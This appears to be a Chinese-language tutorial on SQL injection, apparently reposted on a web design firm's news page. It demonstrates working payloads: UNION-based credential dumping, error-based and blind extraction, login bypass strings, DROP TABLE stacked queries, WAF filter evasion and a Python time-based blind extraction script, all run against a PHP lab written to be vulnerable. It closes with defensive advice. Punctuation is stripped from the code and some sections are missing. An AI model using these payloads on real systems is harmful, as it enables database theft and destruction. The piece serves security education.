资讯动态

SQL注入全解析:原理、实战复现与防御方案

发布时间:2026/9/10 5:11:04 来源:尧图企业网站定制
一个登录框一个单引号后台就没了。这是我早年做授权渗透测试时印象最深的一次经历。对方是个老系统登录接口直接拼接SQL我在用户名框里敲了个页面就甩出了数据库报错。当时整个人是愣住的不是因为惊讶是因为没想到现在还能遇到这么“教科书级”的漏洞。后来我把这个案例写进了复盘报告也成了团队带新人时必讲的第一课。SQL注入在OWASP Top 10里常年霸榜本质上是“把用户输入当成代码执行”的典型。不管你是做开发的、搞安全的还是刚入行想挖漏洞赚赏金的这玩意儿都必须吃透。这篇文章是SQL注入系列的第一期我会从原理讲起把常见注入类型逐个拆开再用本地靶场完整复现一遍攻击流程最后把防御方案和排查技巧一并给到。文字尽量直白能直接上手。1. 先搞明白SQL注入到底是怎么发生的1.1 从一行“拼接SQL”开始SQL注入的产生条件一句话就能说清——程序把用户输入直接拼进了SQL语句并且当作SQL代码来执行。看一段典型的PHP代码就能秒懂?php $id $_GET[id]; $sql SELECT * FROM users WHERE id . $id; $result mysqli_query($conn, $sql); ?开发者本意是让用户传入id1查询某个用户所以正常SQL是SELECT * FROM users WHERE id 1但如果用户传入的是1 OR 11拼接后的SQL就变成了SELECT * FROM users WHERE id 1 OR 11因为11恒为真所以查询会把整张表的数据全部返回。这还只是最简单的例子。如果输入的是1 UNION SELECT username, password FROM users那就能直接拖库如果输入的是1; DROP TABLE users这类堆叠语句后果更严重。你把这个过程理解成“门禁卡系统”门禁本来应该把卡片上的信息当作编号去查授权表结果系统却把你写在卡片上的“值班指令”直接念出来了。那这张卡就不再是一张卡而是一把万能钥匙。1.2 为什么数据库会乖乖执行“非法指令”很多人第一次接触SQL注入都会问一个问题数据库怎么分得清哪些是程序写的、哪些是用户输的它分不清。数据库执行的只有一条最终拼接好的SQL字符串它不知道哪个部分是“原计划”哪个部分是“混进来的”。问题的根源在于数据与代码没有分离。开发者的原意是把用户的输入当作“数据”处理但因为字符串拼接这种粗糙的方式用户的输入拥有了“代码”的身份。数据库拿到的是已经混合好的SQL文本只能照单全收。再从请求链路看一遍你就清楚漏洞出在哪一层了用户在浏览器输入参数发出HTTP请求服务端脚本PHP、Java、Python等接收参数脚本直接字符串拼接生成SQL语句数据库执行SQL并返回结果脚本把结果渲染到页面在第二步到第三步之间如果存在任何“输入被当成了代码”的情况SQL注入就发生了。这也是为什么修复SQL注入的核心思路一直围绕“参数化查询”展开——本质上就是强制让数据库把用户输入当作纯数据而不是SQL的一部分。1.3 注入类型总览SQL注入形态很多但大类上可以这样分分类维度类型典型特征按数据传递方式数字型 / 字符型 / 搜索型是否需要闭合引号、是否带百分号按页面反馈回显注入 / 报错注入 / 盲注结果是否直接显示、报错信息是否可见、页面有无状态差异按语句执行方式联合注入 / 堆叠注入 / 布尔盲注 / 时间盲注能否拼UNION、能否执行多条语句按注入位置GET注入 / POST注入 / Cookie注入 / 请求头注入参数出现在哪里这篇文章重点讲联合注入、报错注入、布尔盲注、时间盲注、堆叠注入这几种它们在实战中出现频率最高。了解了它们后面遇到花式变种思路都是相通的。2. 注入类型逐个拆从最简单到最隐蔽2.1 数字型与字符型先分清注入点的“脾气”拿到一个注入点第一件事不是急着爆数据而是先搞清楚它是数字型还是字符型。数字型注入的特征是参数不带引号直接拼在SQL里。比如SELECT * FROM news WHERE id 1测试方法是输入1 AND 11和1 AND 12SELECT * FROM news WHERE id 1 AND 11 -- 正常返回 SELECT * FROM news WHERE id 1 AND 12 -- 返回空或报错两次结果有差异说明参数确实被当成了数字去参与运算这就是数字型注入。字符型注入的特征是参数被引号包裹SELECT * FROM users WHERE name admin测试方法和数字型略有不同核心是闭合引号SELECT * FROM users WHERE name admin AND 11 SELECT * FROM users WHERE name admin AND 12第一次查询如果正常返回第二次返回空说明你输入的单引号成功把SQL的引号“闭合”了后面的内容已经不受原SQL结构约束。我见过很多新手栽在字符型判断上在参数后面直接加AND 11发现没反应就断定没注入。其实不是没注入是你没闭合引号导致SQL语法本身就错了。记住一句话字符型注入先闭合再构造条件。闭合方式通常是单引号有时候要结合注释符#或--把后面的SQL尾巴注释掉。2.2 联合注入信息收集三板斧联合注入UNION Injection是效率最高、页面反馈最直接的注入方式。核心思路是利用UNION关键字把原查询和自定义查询合并让后者的结果直接显示在页面上。先看绕过步骤第一步判断字段数用ORDER BY探测原查询有几个字段SELECT * FROM news WHERE id 1 ORDER BY 3 -- 正常返回说明至少有3个字段 SELECT * FROM news WHERE id 1 ORDER BY 4 -- 报错说明字段数是3字段数不对UNION拼接就会报错。这里注意ORDER BY是拿字段序号去探测探测成功就说明字段数量 ≥ 该数字。第二步确定显示位拿到字段数后用UNION SELECT 1,2,3确定页面上哪些位置会回显数据SELECT * FROM news WHERE id 1 AND 12 UNION SELECT 1,2,3把id条件改成不成立是为了让原查询返回空这样页面只显示UNION的结果方便观察回显位置。如果页面出现了1、2、3说明这些位置都能把查询结果展示出来。第三步拖数据假设第2、3位有回显就可以直接拿数据库信息SELECT * FROM news WHERE id 1 AND 12 UNION SELECT 1,database(),version()database()返回当前数据库名version()返回数据库版本。知道库名后接着查表名UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()查字段名UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers最后拖数据UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users这里0x3a是冒号的十六进制表示用来分隔多个字段的取值方便阅读。联合注入的核心约束就两条UNION前后的字段数必须一致对应位置能显示数据。只要你把这两个前提搞清楚了整个流程就像流水线一样顺畅。2.3 报错注入不显数据也能拿结果有些页面做了防护不直接回显查询结果但会把数据库报错信息打印在页面上。这种场景下报错注入就派上用场了。报错注入的原理是利用数据库函数在报错时把参数内容带出来。MySQL常用的两个函数是updatexml和extractvalue。extractvalue的用法SELECT * FROM users WHERE id 1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))extractvalue(1, 字符串)第二个参数要求是合法的XPATH路径如果传入不合法路径MySQL会报错并把路径内容显示出来。concat(0x7e, (SELECT database()), 0x7e)是把查询结果和波浪号拼接成一个“不合法路径”触发报错的同时把数据带出来。0x7e是波浪号~这样报错信息里就能清楚地看到数据起点和终点。updatexml的用法类似SELECT * FROM users WHERE id 1 AND updatexml(1, concat(0x7e, (SELECT user()), 0x7e), 1)报错注入在实战中非常实用因为很多系统虽然做了参数化查询对UNION这类语句免疫但错误处理做得粗糙直接把数据库报错抛给了前端。这种情况下报错注入往往能找到突破口。不过要注意报错注入一次只能回显一小段数据想拿长字段值必须配合substr逐段截取AND extractvalue(1, concat(0x7e, substr((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 1, 20)))每次截取20个字符多跑几次就能拿完整。2.4 盲注页面不报错时怎么猜数据盲注是“看不见”的注入。页面不显示数据、不报错只有“正常”和“异常”两个状态信息全靠一点一点猜出来。盲注分两种布尔盲注和时间盲注。布尔盲注利用页面返回内容的差异判断条件真假SELECT * FROM users WHERE id 1 AND ascii(substr(database(), 1, 1)) 100substr(database(), 1, 1)取当前数据库名的第一个字符ascii()把它转成ASCII码然后和100比较。如果页面正常返回说明条件为真数据库名的第一个字符的ASCII码大于100如果页面异常说明条件为假。逐个字符比较下去就能把整个数据库名拼出来。时间盲注用于页面返回完全一致的情况利用延时函数判断SELECT * FROM users WHERE id 1 AND if(ascii(substr(database(), 1, 1)) 100, sleep(3), 0)如果页面加载了3秒左右才返回说明条件为真如果立即返回说明条件为假。盲注的效率比联合注入低得多纯手工猜一个表名可能要发几十次请求。所以实战中盲注基本都配合脚本工具或者直接用sqlmap跑。手写脚本的姿势我下面会专门讲。2.5 堆叠注入一条语句干两件事堆叠注入Stacked Injection用分号分隔多条SQL语句让一次请求执行多个操作SELECT * FROM users WHERE id 1; DROP TABLE test; --如果目标支持堆叠查询输入可以变成多条独立语句危害比普通注入大得多。但堆叠注入在实际场景中并不多见因为很多数据库驱动和中间件默认不允许在一条语句中执行多条SQL。我在实际测试中遇到的大多数目标堆叠注入都不成立。判断是否支持堆叠注入的方法很简单在注入点后面加一条不会报错的独立语句比如; SELECT 1如果页面没有语法错误大概率是支持堆叠的。但要小心有些系统会吞掉分号后面的内容这并不代表支持堆叠需要结合报错与否综合判断。3. 实战复现本地靶场从零打一遍3.1 搭建最简靶场PHP MySQL 手写一个找一个公开靶场练手当然可以但自己动手写一个更小的靶场好处是你对每一行代码、每一个参数都了如指掌排查问题也方便。准备环境PHP 7.x MySQL 5.7 或 8.x用phpStudy或者Docker都行。我习惯用Docker快速起一个docker run --name sqli-lab \ -e MYSQL_ROOT_PASSWORDroot \ -e MYSQL_DATABASEtest \ -d mysql:5.7然后写一个极简的PHP入口文件index.php?php $conn mysqli_connect(127.0.0.1, root, root, test); mysqli_set_charset($conn, utf8); $id $_GET[id]; $sql SELECT id, title, content FROM news WHERE id . $id; $result mysqli_query($conn, $sql); echo 执行的SQL: . $sql . brbr; while ($row mysqli_fetch_assoc($result)) { echo ID: . $row[id] . br; echo 标题: . $row[title] . br; echo 内容: . $row[content] . brhr; } ?建一张新闻表并插入数据USE test; CREATE TABLE news ( id INT PRIMARY KEY, title VARCHAR(100), content TEXT ); INSERT INTO news VALUES (1, 新闻一, 这是第一条新闻的内容); INSERT INTO news VALUES (2, 新闻二, 这是第二条新闻的内容); CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(50), password VARCHAR(50) ); INSERT INTO users VALUES (1, admin, admin888); INSERT INTO users VALUES (2, test, test123);这段代码故意用字符串拼接的方式处理参数是标准的漏洞写法。浏览器访问index.php?id1能看到正常数据接着就可以开测了。3.2 判断注入点单引号、and 11、and 12判断注入点有一套固定的试探流程我从实际操作角度一步步说。第一步加单引号访问index.php?id1如果页面报SQL语法错误说明参数被拼进了SQL语句且没有经过任何过滤。这是最直接的信号。如果不报错也要继续试探因为有些系统会把错误吞掉改成统一的错误页。第二步逻辑判断访问index.php?id1 AND 11页面正常显示再访问index.php?id1 AND 12页面无数据。两句话一对比基本可以确定是数字型注入。如果是字符型注入比如代码写成了WHERE name $name测试方式就换成?nameadmin AND 11 ?nameadmin AND 12这里单引号把SQL里的引号闭合掉后面的内容就是我们可以控制的逻辑了。第三步确认字段数用ORDER BY探测?index.php?id1 ORDER BY 3 ?index.php?id1 ORDER BY 4第一个正常、第二个报错说明原查询是3个字段。整个过程我用一张表整理一下测试请求预期反馈说明?id1正常显示基线数据?id1报语法错误参数进入SQL未过滤?id1 AND 11正常显示条件为真?id1 AND 12无数据条件为假说明注入成立?id1 ORDER BY 3正常显示字段数≥3?id1 ORDER BY 4报错字段数为3这套流程跑下来你对这个注入点的类型、位置、字段数量心里就有数了。3.3 联合注入完整流程从数据库名到账号密码下面以联合注入为例完整复现一次从库名到账号密码的拖库过程。获取数据库名和版本号访问?index.php?id1 AND 12 UNION SELECT 1,database(),version()页面第一行是执行的SQL语句后面如果显示出了test和5.7.x说明第2、3个位置有回显数据库叫test。获取所有表名?index.php?id1 AND 12 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()group_concat会把所有表名用逗号拼接成一行方便查看。页面上应该能看到news,users。获取users表的字段名?index.php?id1 AND 12 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers正常会看到id,username,password。这里用table_nameusers做条件时注意单引号在URL里不需要额外编码直接传就行。拖数据?index.php?id1 AND 12 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users0x3a是冒号页面会显示类似admin:admin888,test:test123的结果。这一套流程走完数据库的基本信息已经全部暴露了。整个过程只用了几十个请求全部手动完成。3.4 万能密码绕过的原理演示万能密码是SQL注入在登录场景下的经典应用。假设登录代码是这样写的$sql SELECT * FROM users WHERE username $username AND password $password;在用户名框输入admin#密码随便填拼出来的SQL变成了SELECT * FROM users WHERE username admin# AND password 任意内容#在MySQL中是注释符会把后面所有的内容注释掉所以实际执行的语句是SELECT * FROM users WHERE username admin这样不需要知道密码只要用户名正确就能登录。更狠的可以输入 OR 11#SELECT * FROM users WHERE username OR 11#11恒为真加上注释符把后面的密码判断去掉整个表的第一条记录就成了你的登录身份。如果users表第一条是管理员账号那你就是管理员。万能密码之所以“万能”核心就是两个动作闭合前引号注释掉后引号及后续条件。注释符在MySQL里#和--都能用但后者后面必须跟一个空格在URL中要写成--或--%20。#在URL中要编码成%23否则浏览器会把#当成页面锚点直接截断。下面几个都是登录框常见的绕过payload用户名输入拼接后的效果admin#变成查询admin用户不需要密码 OR 11#恒真条件返回第一行用户 OR 11不依赖注释符利用条件闭合admin --用--注释掉密码条件页面报错权限被拒绝、返回500或者直接空白有时候是好事——说明参数确实进了SQL只是还没找到合适的闭合方式。真正的死路是无论怎么输页面表现都一模一样那才需要考虑其他类型的漏洞。4.2 注释符、空格、引号被过滤怎么办现实中很少有系统完全不设防。常见的过滤手段是拦关键字比如union、select、空格、单引号等。遇到这种情况不是直接放弃而是先看过滤规则到底拦了什么。空格被过滤用/**/或者括号代替空格?id1/**/UNION/**/SELECT/**/1,database(),3MySQL里/* */是注释但放在SQL关键字中间时不会截断语句可以起到和空格一样的分隔作用。另外%09水平制表符、%0a换行在MySQL里也能充当空白分隔符。关键字被过滤大小写混写绕过?id1 AND 12 UnIoN SeLeCt 1,database(),3MySQL的关键字不区分大小写如果过滤规则只拦了全小写的union构造函数式UnIoN就能绕过。但现在的WAF基本都会做大小写归一化这招只对老系统有效。注释符被过滤有时候#和--都被拦截。这种场景下改用“闭合条件”的方式不用注释符也能收尾。以字符型注入为例?nameadmin AND 11 AND 11这个玩法的思路是前面构造的11充当了截止条件后续原来的SQL引号被我预先闭合整个语句语法仍然成立。单引号被过滤如果你发现参数中的被转义成了\也就是后端用了 addslashes 或 magic_quotes 这类转义函数那说明开发者是有基本防护意识的。这时可以观察是否存在宽字节注入的可能比如%df%27配合GBK编码让转义符被“吃”掉。但这个方案依赖数据库字符集在目前的UTF-8环境下基本失效知道原理即可不推荐花太多精力去试。4.3 盲注脚本提速技巧手测盲注逐个字符猜太慢了我的经验是先用二分法逐字符爆破再用“多线程批量请求”提速。下面是一个用Python写的时间盲注脚本示例逻辑很清晰import requests import time url http://127.0.0.1/index.php chars abcdefghijklmnopqrstuvwxyz0123456789_.- def get_database_length(): for i in range(1, 20): payload 1 AND if(length(database()){}, sleep(2), 0).format(i) start time.time() requests.get(url ?id payload) cost time.time() - start if cost 1.5: return i return 0 def get_char(pos): left, right 32, 126 while left right: mid (left right) // 2 payload 1 AND if(ascii(substr(database(),{},1)){}, sleep(1), 0).format(pos, mid) start time.time() requests.get(url ?id payload) cost time.time() - start if cost 0.8: left mid 1 else: right mid return chr(left) length get_database_length() print(数据库长度:, length) name for pos in range(1, length 1): name get_char(pos) print(当前进度:, name)脚本的核心逻辑是用sleep(1)作为“真”的标记用二分法逐步缩小字符的ASCII范围。实际测试中这类脚本比逐个字符顺序猜测要快得多。把sleep时间调短、加上协程或线程速度还能翻倍。写这类脚本时注意两点一是目标响应时长不稳定时把判断阈值放宽比如cost 0.8而不是cost 1防止误判二是请求频率别太猛本地靶场无所谓但如果是在授权测试的线上环境高频请求很容易触发封禁。4.4 常见问题速查表现象可能原因处理思路加单引号无反应参数被过滤、类型不匹配、没闭合成功尝试双引号、尝试URL编码、观察是否整站无区别AND 11正常但AND 12也正常参数没有进入SQL逻辑确认是否字符型尝试闭合引号后再测ORDER BY一直不报错WAF截断或后端吞错尝试注释符闭合、换布尔差异判断UNION SELECT显示不了数据字段数不对或显示位不在预期位置先用ORDER BY确认字段数再逐个位置试字符型注入构造起来很难引号、反斜杠被转义观察转义规则尝试编码绕过或换其他注入点时间盲注不稳定网络波动、sleep时间太短、数据库版本差异把sleep调到2-3秒加重复请求确认万能密码登录失败注释符被过滤、SQL语句不是单引号包裹换闭合语法或改用admin --等服务端兼容的写法5.3 数据库最小权限原则很多注入漏洞之所以危害巨大是因为应用连接的数据库账号权限太高。我看到不少系统应用连接数据库用的是root账号一旦被注入拖库、删除表、写文件全都能做破坏力瞬间拉满。正确做法是每个应用单独建一个数据库账号只授予该业务必需的权限。比如一个新闻展示系统只需要SELECT权限有内容发布的再加INSERT、UPDATE实在需要删除功能的单独用一个管理接口连接高权限账号。这样即使SQL注入被攻破攻击者能做的也极其有限。-- 为news系统单独创建账号仅授予test库的查询权限 CREATE USER news_applocalhost IDENTIFIED BY StrongPass_2024#; GRANT SELECT ON test.news TO news_applocalhost;连接数据库时用news_app而不是root业务能跑风险却大幅降低。就算注入成功SELECT权限只能读当前表别说information_schema其他库都摸不着。5.4 上线前自检清单最后分享一份我自己总结的SQL注入自检清单每次发版前对照检查[ ] 所有SQL是否都使用了参数化查询或预编译[ ] 动态表名、动态列名是否做了白名单校验[ ] 数据库连接账号是否遵循最小权限原则[ ] 错误信息是否会被回显到前端[ ] 登录、搜索、排序等所有交互参数是否都覆盖了安全测试[ ] 注入测试payload是否在测试环境完整跑过一遍[ ] 日志中是否记录了SQL执行错误方便事后排查这份清单不复杂但能覆盖大部分SQL注入风险。我见过太多系统开发时安全意识满满上线前赶进度临时改了几处SQL拼接结果漏洞就藏在最后那几天改动的代码里。6. 写在最后一些实在话SQL注入这个漏洞我在授权测试项目中遇到过无数次从老旧的ASP系统到新开发的Go服务都有它的影子。它之所以“经典”是因为它折射出的问题——数据和代码不分、输入不可信、权限过大、错误处理粗糙——在任何时代的开发里都可能出现。这篇文章把原理、类型和实战流程都过了一遍文中所有攻击手法都是在本地靶场完成的请务必只在授权环境中测试。了解攻击是为了更好地防守这个边界不能模糊。第一期就先到这里。下一期我打算聊聊SQL注入的自动化绕过思路包括WAF常见绕过姿势和sqlmap的进阶用法。有什么想看的细节或者你在复现过程中卡在了哪一步可以在评论区留言我看到会尽量回复。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价